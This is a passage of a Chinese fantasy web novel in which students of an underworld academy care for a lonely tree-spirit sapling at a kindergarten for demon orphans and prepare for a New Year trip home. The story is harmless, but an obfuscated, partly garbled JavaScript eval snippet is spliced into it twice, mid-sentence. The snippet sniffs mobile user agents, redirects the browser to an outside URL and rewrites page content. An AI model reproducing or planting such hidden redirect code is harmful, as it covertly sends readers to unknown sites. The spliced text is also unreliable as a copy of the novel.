现在学校里风气特别有爱,人人互帮互助,大家都认识了很多跨部门的朋友,校长也对此很满意,还特意给志愿者协会的骨干成员集体加了十分平时分呢!如果我之后都能不扣分的话,毕业定职级的时候也肯定能定到十级,比别人少走三年弯路呢~ 校长还给了协会授权,我们可以在放学后使用教室,也可以随时向老师们申请补课,大家的成绩都稳步提升了。 还有我们的另一个副会长,也帮助了我很多。他的名字叫做温尔雅,就是那天我捡到准考证的那个人。他做事情是非常有条理的,会员登记表、以及会员需求都是他在负责,手里同时跟着五十多个表格,却从不出错。倘若哪个会员觉得自己已经不需要补习了,他就会重新分派他的时间表,要是会员们想要积聚在一起上一堂大课,他也能马上把课堂组织起来,我想将来他一定会是最强的基层人员,什么样的抽检压力都能扛住。 琢玉学院的课程很多,有几门课我学的也特别吃力,不过,请不要担心,我一定能顺利毕业,成功入职的。因为我在这里认识了很好的老师和同学,他们都很愿意帮助我。 我对历代文字这门课很头痛,尤其很难记住篆文。还好有温尔雅同学教我历代文字这门课,嘿嘿,其实是我小小的利用了一下自己的职权,安排他来教我,因为他长得非常好看,性格也很温柔。 有一次,他给我讲了半天课,可是我只顾着看他的样子,完全不记得他说了什么,我本来以为他会生气,但他完全没有怪我,还说他早就知道会发生这种事情,所以出门一般都会把脸遮起来。而且,他还为我独创了一个学习方法,就是镜子记忆法……” 写到这里,祝平安的笔尖一顿,一想起这个镜子记忆法,她脸色潮热,差点涌出鼻血。数次教导无效后,温尔雅想出了一个用魔法打败魔法的点子,既然祝平安只顾着看他的脸,那就让这张脸起到教具的作用! 嗯哼,别看温尔雅平时守礼,但这种美男子自小就吃颜值红利,早就习惯发挥美貌的优势了,用美色来换取教学效率提升什么的,他一点心理压力都没有。 所谓的照相记忆法,就是在祝平安面前准备一张等身高的大镜子,温尔雅站在祝平安身后,将她半圈在怀里,握着她的手,手把手地在镜面上用水性笔写下一行行篆字。 美人在侧,暗香盈怀,执手并肩,共书明镜,对着镜中映出的仙人风姿,看着一行行墨迹逐渐环绕在两人身侧,此情此景,如斯浪漫,对她这个重度乙女游戏爱好者简直是绝杀!祝平安鼻血流了一脸,大脑机能全开,恨不能把眼前这一幕当成高级CG完全铭刻到自己脑子里,自然,一同被记住的,还有那三十个写在镜子上的篆字。 自此,她的历代文字课突飞猛进,两个月后就能很流利的阅读篆文版本的短诗了,纪晓岚先生还以为祝平安是终于开了窍,他哪知道,男色才是第一学习驱动力。 只是这种事情,怎么好意思让家长知道?祝平安甩甩头,到底还是没有详细描述这个镜子记忆法是什么东西,而是飞快地转移到了下一个话题: “张松鹤老师亲自教导我送魂鸟驾驶,他说我之所以晕鸟,肯定是因为我第一次乘坐送魂鸟时留下了心理阴影,作为肇事者,他应该负担起责任。在他的指导下,我确实进步了很多……” 想到张松鹤那魔鬼般的训练手法,祝平安简直要飚出眼泪。这个张松鹤,说要给她做脱敏训练,每天都是给她贴一张定身符,然后强行拖着不能动的她在空中特技飞行!甩的她头晕脑胀、四肢瘫软,只恨自己不能休克过去,这简直是酷刑好不好! 虽说确实她吐啊吐啊也就习惯了,现在已经能独立驭鸟在空中慢慢飞个几百米,但是这个上课体验简直太惨烈,跟温尔雅的补习简直是云泥之别,同样是补习,教学的水平差距咋就那么大呢? 只是这段内容也不好写给家长知道,怕里奥知道了心疼。祝平安于是把这段也匆匆带过,接着写: “……我今天有一门校外实景教学课程,时间快到了,所以信就写到这里。另外,马上就是春节了,校长说会给我们放三天假,我打算回去和你一起过年,不知道我能不能带几个同学一起回去?她们人都很好,对我很照顾,我保证她们不会给你添麻烦的。 盼望收到你的回信,你的曾曾外孙女上。” 写完了信,祝平安把它揣在口袋里往大门口出发了。最近,教导各族日常用语课的谛听老师给学员们争取到了一个校外实景教学的机会,学员们需要到大门前集合,共同前往校外教学地点。时间已经很急迫,谛听老师是出了名的严格,祝平安可不想迟到。 来到集合点,祝平安把信投递到大门旁的邮筒里(卫珑每天会定时送一批信),此时已经有许多学员集合在此处,骑着自己的送魂鸟,拉拉呱呱说笑不绝。还有些学习小组抓紧一切时间开展课外补习,掏出书本写写画画,看到她出现,周围的学员都笑着向她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837489|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打招呼:“平安会长!” “是你呀!最近你的《疫病预防实操》学的怎么样了?哦,随堂小测验得了77分?不错不错,很有进步,之前都只是勉强及格而已嘛。” 志愿者协会副会长的身份,已经在暗暗地发挥作用了,在学员们眼中,祝平安俨然已经是个人物。几轮寒暄完毕,她这才挤回自己的位置。因为实景教学要一批批的去,她的许多朋友们都安排在之后的批次,相熟的人中只有温尔雅跟她一批。 于是,祝平安二话不说,就熟门熟路地跳上温尔雅的送魂鸟,没办法,她现在的水平还太差,这种长距离飞行还是找个人蹭顺风鸟最安全。 温尔雅早知道祝平安那个时代的女子并不在乎什么男女大防,但也没想到她这么厚脸皮。一开始他以为祝平安机智能干,性格随和;结果接触久了才发现,才干是有的,随和也是有的,但与此同时,人类的劣根性也在她身上根深蒂固:心软、好色、脸皮厚、偶尔做事不计后果、一旦犯倔九头牛也拉不回来。 但不知为什么……他并不反感祝平安贴近他的举动。 难道说是离开人间烟火太久了,在这样一个轻松的校园环境里,他也被浸染了,放松了,开始渴望接触一些鲜活的人,美好的事? 你居然相信世界上会有美好?一个声音讥讽地在耳边提醒他,他脸色一变,正想开口让祝平安坐远一点,然而还没来得及说话,就感觉到腰上一热,一双手抓住了他的腰。 “我晕鸟还没好利索呢,不抓着你就掉下去了。”身后的女子大大方方的说,全无任何羞涩,温尔雅低头看着掐在自己腰间的莹白胳臂,无奈地摇摇头:“那你要抓的更紧点。” 过不多时,人已到齐,只听谛听老师一声哨响,百鸟展翅,列队飞向远方。祝平安紧紧环抱住温尔雅的腰,虽然刚刚她只想蹭顺风车,没什么吃豆腐的心思,但此刻好闻的青草香气萦绕在鼻尖,让人不由得有点害羞。 “平安?” “嗯?” “不要把气喷在我背上,好痒。” 祝平安有点脸红了,气氛忽然有点尴尬,为了缓解尴尬,祝平安没话找话说了:“你知道我们是去哪里吗?” “我只知道谛听老师对这个校外教学很得意,说那里是最适合我们练习口语的地方。其他的我也不知道了。” 会是什么地方呢?祝平安也好奇了,在天空飞行了半小时后,送魂鸟们有序下降,感受到高度的变化,祝平安也赶紧往下看。 这里是羊城的郊外的一个院落,平整的草地上生长着青葱的碧草,院里有滑梯、跷跷板、秋千、皮球等玩具设施,潺潺小溪流经整个草地,溪边坐落着数十栋圆滚滚的小屋,造型各异,都被漆成可爱的颜色,有的黑白相间,像是熊猫;有的是嫩黄色,好像鸡仔;还有的是浅绿色,类似小树苗。 小屋旁边,许多动物幼崽在院中跑来跑去,追逐嬉戏,一个个毛绒绒、圆滚滚、肥嘟嘟的,看起来就很活泼健康。还有些幼崽仰头看见空中的鸟群,好奇地原地跳起,对着天空嗷呜直叫。 好可爱! 祝平安对毛绒绒丝毫没有抵抗力,立刻就被萌化了,要不是看着谛听老师过来整队,恨不得现在就撒丫子跑到幼崽群里去。 “各位学员请注意,这里就是我们今天校外教学的基地——山海幼儿园。”谛听老师发表讲话了,“这是一家公益幼儿园,收容的都是还没化形就已经夭折的妖族孤儿,因此它们只会说本族语言,词汇量也不大,非常适合成为大家训练口语的对象!” “各位学员,今天你们需要跟同学两两结对,每组认领一只幼崽,像保育员一样照顾它一天,让它完成吃饭、娱乐、休息三大任务,不得出现问题,否则扣平时分!” 21. 最孤独的小宝宝 一分钟过去了,祝平安纹丝没动。 两分钟过去了,祝平安纹丝没动。 三分钟过去了,祝平安还是纹丝没动。 祝平安脚下像是生了根一样一动不动,温尔雅都怀疑她已经石化了,上前推了推她:“平安?你怎么了?” 祝平安缓缓扭过头来,表情扭曲,满脸写着:“没、摸、到、毛、绒、绒、我、不、甘、心!” 温尔雅低头看看他们小组分到的幼崽,一株有人那么高的小树苗,跟毛丝毫不沾边。 为什么!明明有一院子的可爱毛绒绒,最终分到她手里的居然是棵树! 似乎看出来祝平安对它不满意,树苗微不可见地动了动,温尔雅轻轻摸摸小树苗:“平安,树也挺好的,起码三大任务有一个我们很容易就可以完成,浇点水就算给它吃过了。” 是么?祝平安没精打采地看了一眼小树苗。唔,树干秀挺,树皮光滑,通体是漂亮的粉红色,只长有一片爱心形的树叶。种种特异的表现,都证明了这不是一株普通的小树妖,而是传说中濒临灭绝的相思树妖。 这可不是简单的品种!据说得到相思树叶,可以使恋人永远相爱,但是经过三个月的学习,祝平安可以认证,这根本就是谣言,相爱的人不管怎么样都会相爱,哪是一片树叶能够庇佑得了的? 相思树幼崽是非常难养的,需要“情感”作为养料才能长大,故而相思树一族的某个大聪明就放出这种谣言,目的就是多吸引一些情侣自行上门送外卖! 但是,人类对这种谣言的传播度超乎想象,来薅叶子的人那真是恒河沙数,还有专门摘叶子来倒卖的,在放出谣言后的三年,相思树一族没化形的幼崽基本就全员死绝了——叶子都薅没了。 看来这个只有一片叶子的小可怜就是那场劫难的受害者,真是造孽,祝平安也怜惜地摸了摸它的枝干。拼命回想着谛听老师的教导,祝平安两脚并拢站的笔直,按照特定节奏轻轻地摇晃着自己的身体,用树族语言跟小树苗打招呼了:“你——好——?” 得益于有个树妖当室友,平常桂中秋经常陪大家练习树族语,所以祝平安这门语言的掌握程度要比其他语言都好。然而就当她信心满满的时候,就看见小树苗以抽风般的速度,疯狂摇动起来,人类肉眼几乎都跟不上了。 “慢点说慢点说!”祝平安傻眼了,她的词汇量可根本应付不过来呀! “你也好!终于有保育员以外的人能跟我说话了,我叫小森,你都不知道,我每天在这里可无聊啦!别的小朋友都能说能动,但是我就不行,只能孤零零一个在这里,真是寂寞死了!每天我都有好多话想说,但是别的小朋友听不懂,保育员也没空听,你们是来陪我玩的吗?只要你们愿意陪我玩,我有好多秘密可以告诉你们哦!比如某甲跟某乙其实不是原配,是姘头;某丙跟某丁其实是血亲关系,最终冲破层层阻碍走到了一起……” 跟温学霸一组真是太好了,看着温尔雅流畅地同声传译,祝平安感到踏实多了。她捅捅温尔雅:“有的词老师也没教过,你是怎么会的?” 温尔雅顿了一下:“我可能对语言比较有天赋吧。” “真不愧是学霸!”得益于他第一名的成绩,祝平安很轻易就信了。温尔雅松了口气,他其实跟谛听老师一样,懂得各族语言,但这一点暂时还是不要暴露为好。 小森也不知道是多久没说过话了,还在那里滔滔不绝:“aa是bb的小三,cc先后带了dd、ee、ff、gg四个女人来摘我的叶子……” 这都是什么跟什么哟!太早让小朋友接触世界的阴暗面果然是不行的,你看把孩子的心灵世界都污染成什么样子了! 心中吐槽,祝平安用树族语“说”(其实是比划):“小森,你好,我,姐姐。” 她本想介绍自己的名字,无奈不会说,只好用姐姐代替,同时也直接指了指温尔雅:“他,哥哥。” “姐姐哥哥好!”小森一看就是个有礼貌的孩子,“你们是做什么的?” “我们是差役,请你配合我们工作!”这句话实在练习太多次了,就像“I’m fine thank you”一样成了条件反射,祝平安一不留神都全秃噜出去了,果然,小森垂下叶柄做出一个疑惑状:“差役是做什么的?要配合什么?” “差役,是好人,保护你们。”祝平安磕磕巴巴地‘说’,“你好好吃、好好玩、好好休息,就是,配合我们工作。你想,做什么?” “原来是这样!”小森又是一阵猛摇,“我太开心了!我现在不饿也不困!我们快来玩吧!别的小朋友看见我就好像看见空气一样,总是不带我玩,我都寂寞死了,我现在就想跟所有小朋友一起玩!” 额,其实我觉得别的小朋友也不是故意排挤你,实在是……怎么跟你玩呢? 看着隔壁组已经在推着小熊宝宝荡秋千,举着凤凰宝宝开飞机,陪着老虎宝宝抛接球,祝平安陷入了深深的沉思。 没手没腿不能动,说的话也很少有人听得懂,偏偏已经有了幼儿的心智,渴望着融入同伴……还没化形就夭折的树精宝宝,恐怕是世界上最寂寞的小宝宝了吧? 祝平安轻轻地抚摸了它一下,小森的树干幼细光滑,摸起来好像一个孩子的手腕,嫩生生的,极易摧折,此刻,它因即将参与玩耍激动地颤抖不已,祝平安默默地在心里下了个决定。 不光要让小森今天能够好好吃、好好睡、好好玩,她想让这个小宝宝以后的每一天都快乐起来,毕竟,这也是她身为差役的责任呀! “差役,姐姐,帮你!”祝平安拍胸脯了,“大家,一起,玩!” 草草扫过操场上现有的幼儿玩具,祝平安心里有主意了,她把温尔雅拉到一边嘀咕起来。很快,两人达成了共识,又分头去找其他小组传达大家一起玩的意图,其他小组巴不得能够外包解决这个任务,很快,所有的幼崽都聚集到了一起。 “今天大家一起来玩游戏!”祝平安站上秋千架,让所有幼崽都能看见她,她每说一句,其他小组就会翻译给自己分到的幼崽听,“一共可以玩三个游戏!第一个游戏,跳皮筋,大家排队跳过它,皮筋会越来越高,如果谁碰到了皮筋就算淘汰!” 说着,祝平安变魔术一样从玩具堆里捡出一根皮筋,一头系在小森身上,另一头则挎在温尔雅脚脖子上。 没错,跳皮筋游戏里,抻筋的角色是必不可少的!小森不会动也没关系,一样能够参与游戏哦~ 温尔雅对 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幼崽们虽小,但个个都是妖族,体力很强,皮筋很快就跳到了温尔雅要举高手臂才能撑起的高度了,最终,老虎宝宝获得冠军,它耀武扬威地在院子里转了一圈,祝平安带头鼓起了掌,很快,其他学员也跟着鼓掌,连小森都摇晃的更用力了。 第二个游戏是观赏童话剧表演,剧目则是经典童话《灰姑娘》。舞台以小森为中心,幼崽们在其他小组学员的安排下,面对着小森乖乖坐好,仰起毛绒绒的小脑袋,专心等待表演开幕。 “很久很久以前,有一个美丽的女孩失去了母亲,她的父亲又娶了一位恶毒的后母……”不存在的幕布拉开,满脸是泥的温尔雅裹着一条粗布围裙走上台来,拿着一把扫帚开始假装扫地。 没错,灰姑娘的角色当然由最漂亮的温尔雅来扮演啦!至于祝平安,她负责导演、旁白、化妆、机关设计、且扮演其他所有NPC,要操心的事情更多,如此分工也不能说是不公平。 其实温尔雅本来不想当灰姑娘,想要争取导演角色的,但是祝平安一句话就把他怼了回去:“你知道灰姑娘都讲了些啥吗?” 一向博闻强记无所不知的温尔雅,暴露了自己在儿童文娱领域一无所知的事实,只好看着祝平安一边在溪水边和了一坨泥巴往他的脸上抹,一边迅速地给他说戏。 “……求求你,就让我也去参加舞会吧!”台上的温尔雅已经演到了灰姑娘被拒绝参加舞会的桥段,他似乎天生很擅长演戏,一举一动凄婉欲绝,祝平安看着都有点心疼了,更何况台下的幼崽们?最耿直善良的小熊宝宝已经愤怒地对着台上扮演后妈的祝平安咆哮了,幸好其他小组学员把他给拉住了。 所有的女孩都去参与舞会了,只有灰姑娘被一个人抛弃在家里。微弱的星光下,温尔雅伤心地哭泣,身上散发出无比冷寂哀伤的气息,感情真挚地都不像是演戏了:“如果我的妈妈还在,她一定会疼爱我,照顾我,让我成为世界上最幸福的孩子,妈妈,你为什么要抛下我……” 最多愁善感的小鹿宝宝已经泪流满面,完全被带入到剧情当中:“妈妈,我也要妈妈!” 其他幼崽也想起自己的母亲,开始抽抽噎噎。 渲染太过了,祝平安皱眉使眼色,温尔雅立刻开始说下面的台词:“小树啊,妈妈去世前曾经说过,我有什么需要都可以找你帮忙。现在请你摇一摇,把漂亮的衣服往下抛,让我也去参加舞会吧!” 22. 好朋友就要一起玩游戏 就是此刻! 小森非常配合地开始摇晃起自己的树枝来,祝平安一松手中的绳子,一套衣服应声从小森的枝干里掉落下来(这是祝平安提前在树上藏好的)。 虽说效果不算无懈可击,但幼崽们哪里见过这个?个个惊奇地欢呼起来,台下立刻迎来了真正意义上的鸡飞狗跳,有不少幼崽立刻就想冲上去,祈求小树现在就给自己抛下来一些好吃的、好玩的,其他学员废了好大的力气才把它们控制住。 就在这混乱的空挡,温尔雅已经擦干净了脸,换好了衣服,虽说这衣服只是他今天出门穿的普通青衫而已,但是,时尚的完成度是看脸的!温尔雅只要擦干净脸,披个麻袋都像是公主! 换好衣服的灰姑娘简直耀目生花,惊艳了一众幼崽,甚至孔雀宝宝都嫉妒地开屏了,挡住了身后观众的视线,激起一阵不满的叫声。 祝平安扮演王子,揽着灰姑娘翩翩起舞,幸好祝平安个子不矮,穿上十厘米高跟鞋比温尔雅略高几厘米,要不然场面还真有点滑稽。她温柔地盯着温尔雅的眼睛:“美丽的人呀,你就像是月下的百合一样高雅纯美,让我一见倾心,不知姑娘芳名?” 说到这句,她促狭地挤挤眼睛,温尔雅也想起了两人初次见面时的情景,眼里弥漫上笑意:“不敢当不敢当……” 说到这里,午夜的钟声敲响,灰姑娘不得不告辞离去。王子伸手想要挽留灰姑娘,灰姑娘被缠的难以脱身,只好从身上扯下一枚玉佩抛给王子:“今日事忙,不得闲暇,你收好此物,日后便可凭玉佩相认!” 这个改编也是两人之间的小默契,当然也是因为祝平安很难找到温尔雅能穿的水晶鞋。然而幼崽们不知道这些,还是看的津津有味。 很快,王子手持玉佩,开始在城里寻找灰姑娘了,当他走到灰姑娘家附近时,手中的玉佩突然颤动飞舞起来,另一侧,灰姑娘胸前也飞出了一模一样的玉佩。 在小森粉红爱心树叶的映照下(只有一片),两人同时回头向对方望去,虽说只是个简陋的没啥布景的舞台,两个人却硬生生演出了茫茫人海,一眼万年的感觉。王子激动地跑向灰姑娘:“原来是你,我终于找到你了!” 王子手持一个狗尾巴草编成的戒指,在树下单膝下跪:“亲爱的,你是我见过最美丽的人,只是一夕相遇,你就已经偷走了我的心。我发誓,会永远爱着你、保护你,让你做世界上最幸福的人,请你和我结婚吧!” 噢噢噢噢! 虽然还没长大到了解什么才是爱情与婚姻,依然不妨碍幼崽们为灰姑娘的幸福欢呼起来,其他学员再也控制不住他们啦!圆滚滚毛绒绒的幼崽们一拥而上,把灰姑娘、王子、小森围在中心,用各式各样的语言喊叫起来:“答应他!答应他!” 这样的氛围温尔雅从未感受过,有点吵,有点闹,小崽子们还不知轻重地往前挤,踩到了他的脚,按理说他应该很不耐烦才对。可是,一种莫名的感觉却向他涌过来,不由分说地将他包裹其间。 这种感觉是无法抗拒的,可并不让人害怕,反而觉得温和甜美。他感到自己像是一只独自飞行在密林间的蝶,彷徨失群,瑟瑟发抖。忽然,一滴粘稠滚烫的树脂当头滴下,温暖幸福的感觉在刹那就传遍了全身,哪怕知道温暖之后就将迎来窒息而死的结局,却也不想挣扎,只想阖上眼,在这美好的一瞬中永生沉醉。 灰姑娘闭上眼,再睁开,温润的眼瞳里盛满王子看不懂的感情,随后轻轻接过王子递上来的草戒指,珍重地戴在无名指上。 碧草青青,溪水潺潺,群星熠熠,在粉红的相思树下,王子和灰姑娘并肩而立,十指交缠,许下爱的誓言,那场景真是太浪漫啦!像是小森见证过的无数情侣一样浪漫! 小森也忍不住剧烈摇晃起来,作为这幕童话剧里的重要角色,它非常得意,顿感这对爱侣是由它促成的。 而且,不知道怎地,它有点“饱”了,虽说它一开始就不怎么饿。这份养料是从哪里来的?它疑惑地左看右看,但很快,它就成了小朋友们追捧地主角,根本来不及想这些了。 “小树啊,摇一摇,把巧克力糖往下抛!” “笨蛋!咱们犬族不能吃巧克力,小树,请给我们好吃的肉干!” 幼崽们咕咕唧唧,围着小森要求个没完,祝平安这次可没准备这么多道具。在反复跟大家解释了刚刚只是演戏之后,幼崽们这才散去。看着大家离开,小森有点落寞了: “如果不能满足大家的要求,是不是就没人愿意跟我玩了?” “不会,一起,玩,就是,朋友。”祝平安抚摸着小森仅剩一片的树叶,趁着幼崽们被童话剧煽动起来的兴奋还没散去,她拍拍手宣布第三个游戏了: “孩子们,现在我们来玩老鹰捉小鸡!” 为了小森,祝平安篡改游戏规则了,她取消了原本“母鸡”这个角色,公然宣布,所有的小鸡要排队躲在树后才行!这样的话,小森不会动也没关系,只要它身后的那只小鸡带着大家躲藏就好啦! 这个新游戏得到了孩子们的狂热追捧,祝平安充当老鹰,温尔雅就做小森背后的第一只小鸡,幼崽们依次咬住温尔雅衣服的后摆,游戏就这么热热闹闹地玩起来了! “老鹰来了,来吃你们了!”祝平安作势前扑,温尔雅连忙带着幼崽们绕到小森另一侧。队伍最后的孔雀宝宝奔跑不灵,掉队被老鹰捉住了,可是它好像并不在意,四仰八叉地倒在祝平安手上,孔雀宝宝发出嘎嘎嘎地快乐笑声。 小森也在笑,它的笑声就是风吹过树叶地咻咻声,韵律随着枝叶摇摆忽高忽低,是没听过的人想象不到的天籁之音。今天对于它来说,实在是太幸福了,而且,这份幸福还将继续下去,小森很确定,以后每一天都会有人来找它玩跳皮筋、或者老鹰捉小鸡,说不定还会有人对它许愿,它再也不孤独了! 温尔雅呢?温尔雅也在笑,不是微笑、苦笑、假笑、或是他惯有的疏离而礼貌的笑声,而是几乎从没有过的哈哈大笑。快活的笑声从他喉咙里自发地往外蹦,适当的运动让他白皙的脸庞爬上健康的粉红色,这位玉雕仙人般的人物短暂地鲜活起来,降临了凡间。 为什么呢?明明只是个很蠢的游戏而已,围着一棵树傻乎乎地跑来跑去,除了小崽们没人会喜欢。可是,他为什么,这么的快乐? 他没有过童年,生前的世界孤寂,死后的世界险恶,一直以来,他都蔑视着温暖、美好这种词汇,那只是自欺欺人的童话罢了。战战兢兢、枯燥无聊才是他生活中的主旋律,遍揽人心幽微却不能言说,看破阴谋狡狯却无法阻止,他早已习惯披上伪装,不言不动,做高高在上的偶像,任人崇拜。 这样的他,和小森又有什么分别呢? 可是今天,童话来到了他的生活里,在这样一个可爱的幼儿园里,他自己好像也退化成了一个幼崽,尽享着温暖、美好、快乐……他不由得看向祝平安,那个女孩也在笑,她在笑什么呢?她……又知不知道,自己带来了什么样的变化呢? 祝平安又捉住一只掉队的幼崽,是一只像个糯米团子一样又白又圆的兔子宝宝。兔子宝宝快活地笑着,轻柔地抚摸着兔子宝宝的背脊,祝平安笑的无比满足。 她暗暗得意:这个游戏真是一举两得呀!小森开心不说,我也能把所有毛绒绒都摸一遍了!我真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837491|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是天才! 游戏继续,在业务娴熟地老鹰围追堵截下,一个个“小鸡”都被捉住了,只剩下最后一只小鸡温尔雅在负隅顽抗。最终,祝平安看准时机,一个老鹰飞扑,把温尔雅抓在怀里:“捉住了!我赢了!” 她全身心地沉浸在游戏里,一心想着赢,温尔雅从方才开始就有点心思不定,忽见她面带笑意猛然扑过来,不由得心下一颤,手指不由得捏紧…… 只听咔吧一声,小森的笑声戛然而止了。 温尔雅扭头一看,彻底僵住了。 刚刚他用力过猛,把小森的树枝折断了! “这,这可怎么办哦!”祝平安也傻眼了。 鬼鬼祟祟地左右巡视一番,发现没什么学员注意到这个小插曲,温尔雅火速把小森掉落的树枝捡起来放回原来的位置,只见他手上白光一闪,小森的树枝就重新长回去了!祝平安左看右看,一点没看出来曾经受过伤! “这是怎么弄的?”祝平安压低声音询问了。 “就像叶姑娘会雷法、桂姑娘会幻术一样,这是我的能力,一种治愈术,我不太想让别人知道。”温尔雅简短地解释了,“别在这说,引来注意就不好了。” 肇事者之一的祝平安点了点头,没有追问下去。在琢玉学院这么久,她对有异能的人已经见怪不怪了,但正是这种粗通皮毛又不精通的状态,才能让她被温尔雅的胡说八道糊弄过去。 如果是一个识货的人在场,就会毫不犹豫地对温尔雅叩头下跪——不需要任何施法介质,只需要手指一摸就能恢复如初的治愈术,已经近乎神迹,在地府里只有后土大神的大祭司,才能够施展!要知道,无数苟延残喘的游魂奉上奇珍异宝,也很难获得大祭司青睐,释放治愈术呀! 而今天,这种治愈术居然被用在治疗“小树掉了一根枝条”上,要是让别人知道了,还不得捶胸顿足地痛斥浪费! 游戏结束了,幼崽们也都累了,横七竖八地在小森周围躺了一圈,它们的眼皮都开始打架了。 山海幼儿园真正的保育员将宝宝们抱起来,送回它们自己的床上去了,今天宝宝们确实吃得好、玩得好、休息的好,学员们的口语水平也得到了长足的锻炼,谛听老师非常满意。 告别的时刻到来了,祝平安走过去,心虚地摸摸小森那断过的枝条:“再见,哥哥,姐姐,走了。” “以后你们还会来看我吗?”小森一点也不在意自己刚刚受了伤,它满怀期待地发问了。 “有空,一定,来。”祝平安决定回去就要苦练树族语,“下次,我,说,更多话。” 怀揣着满满的干劲,祝平安跨上鸟背,发誓要好好学习了! 半小时后,大家回到琢玉学院,谛听老师宣布大家可以解散了。温尔雅把她送回女宿舍区门口,手指在袖子中轻轻擦过那枚草戒指,他开口了:“想学的话,我可以帮你补习树族语。” “啊?不劳烦你了,桂姐姐就可以帮我,她母语就是树族语。” 怎么就忘了她跟树妖是室友?温尔雅噎的说不出话,而祝平安还一无所觉地跟他挥手再见,丝毫不知道自己刚刚拒绝了多么宝贵的机会。 我真是疯了,居然给自己找这种麻烦,肯定是今天那些愚蠢的游戏和童话把我的脑子也搞坏了……咬牙看着祝平安离开的背影,温尔雅恨恨地想。毕竟明月照沟渠什么的,让人很难堪哦! 他摘下手指上的草戒指,就想扔在地上,然而半晌过去了,他始终站着没动。 四下无人,只有风鸣草叶的沙沙声,像是相思树妖的笑语。最后,有点矛盾地,有点快活地,他把这枚戒指轻轻戴回了手上。 23. 新年快乐 祝平安的心情非常好。 在三个月的魔鬼式学习后,终于迎来了三天假,简直是普天同庆啊!上过学的人都能够明白那是一种什么样的心情! 今天上午,卫珑已经把里奥的回信送到了1601,几个月的杂工做下来,这个大小姐吃了十足苦头,仅祝平安听说过的就有邮递信件、疏浚下水道、清洁厨余泔水等,日夜都在干活。她本以为卫珑受不了这种苦,早晚要自己走人,不想她居然硬是挺了下来,倒让人有点刮目相看。 而这三个月也彻底改变了她,现在,她身上的傲气已经全然消失不见,眼光木讷呆滞,脑袋低垂,似乎在躲避他人的目光,别人咳嗽一声她都吓得一抖,十足一副受气包的样子。祝平安乍一看见,差点没认出来。 见到祝平安来收信,卫珑的头埋的更低,都快把脑袋扎到胸口去了。祝平安眼窝子浅,用叶霆霓的话来说就是妇人之仁,看见她这副鹌鹑相,一肚子的气不由得只剩下半肚子。之前在脑海中幻想见到卫珑要狠狠羞辱的事,现在也做不出了,毕竟,欺负这么一个可怜虫也不会有报复的快感。 卫珑低着头递给她信,便打算默默退出去,祝平安看见她伸手露出的细瘦手腕上一圈乌青,只怕是提邮包勒出来的。皱皱眉,祝平安到底还是叫住了她。 “我们需要你帮个忙。”祝平安一副吩咐的口气,“你送魂鸟驾驶的很好是吧?今天晚上我们需要回羊城,你套好鸟鞍和笼车送我们,7点在大门口等着我。” “她的车你也敢坐?”叶霆霓撇撇嘴,“你也不怕她半途把你从天上摔下去?” “反正也是要坐送魂鸟回去,打出租多贵呀,学校门口又叫不到车,不坐免费杂工的车岂不是很亏?”祝平安瞥了一眼卫珑,“况且,她也做不出来那种事情,她是有点小坏,但也没那么坏。” 怔怔地,卫珑呆住了。 那件事发生后,哪个学员不把她当成天生坏种?当然,她一开始也不认为自己是天生坏种,她觉得自己只是率真、耿直、要强而已,从前不喜欢她的人都不过是嫉妒她。对于惩罚,起初她也是气不忿的,不就是个小小的恶作剧吗?那祝平安也没怎么样,凭什么罚她这么重? 若非沦落到这境地,她也不知道,原来从前自以为无伤大雅的举动,会给他人带来多少困扰。对不顺心的事情呵斥不休,对身边的人随意下令,想办法作弄讨厌的人,都是她曾经做惯的,而今自己成了那个被呵斥、被命令、被作弄的人,才知道被这样对待是多么不好受! 卫珑生来就是人上人,从未想过做人上人就意味着把别人踩在脚下。几个月的人下人做下来,渐渐地,她真正体味到,自己曾经那样对待别人,是多么的可恶、多么的不应该…… 承认自己是个反派是难堪的,可承认了之后,心里反而松快了。她咬牙做杂工,不管多难多苦的工作都接受,因为她觉得这是自己应得的惩罚。她不怕累,真正把她压垮的,是三个月来无处不在的嘲笑、孤立、和冷眼,她甚至自己都有点信了,自己真是个坏种,无论做什么都不会被原谅的坏种! 而今天,那个差点被她伤害的人,却认为她只是有一点小坏吗? 卫珑觉得心头有点热,她轻轻点点头,示意自己已经听到了,随后她转身,用最快的速度跑出了帐篷。 要做的事情有很多,她想,今天即使不吃不睡,甚至翘几门课,她也要把所有工作干完,7点的约定,她绝不能错过。 祝平安看她跑了,自己拆开信,里奥在回信里对她取得的成就大加赞赏,并欢迎她带同学回来玩。得到里奥首肯,祝平安立刻开始通知大家收拾行李,准备好就要出发啦! 跟她一起回家的有温尔雅、林四梅、叶霆霓几人,据说都是孤零零一个,本着大家热闹的心思,祝平安便邀请大家一起到自家过年了。 林四梅不愧是军人出身,手脚利索,收拾了几件随身衣服就算打好包了;叶霆霓就麻烦多了,一会儿要带朱砂,一会儿要带糯米,搞得祝平安三令五申这是请她去过年,不是要她去捉鬼。 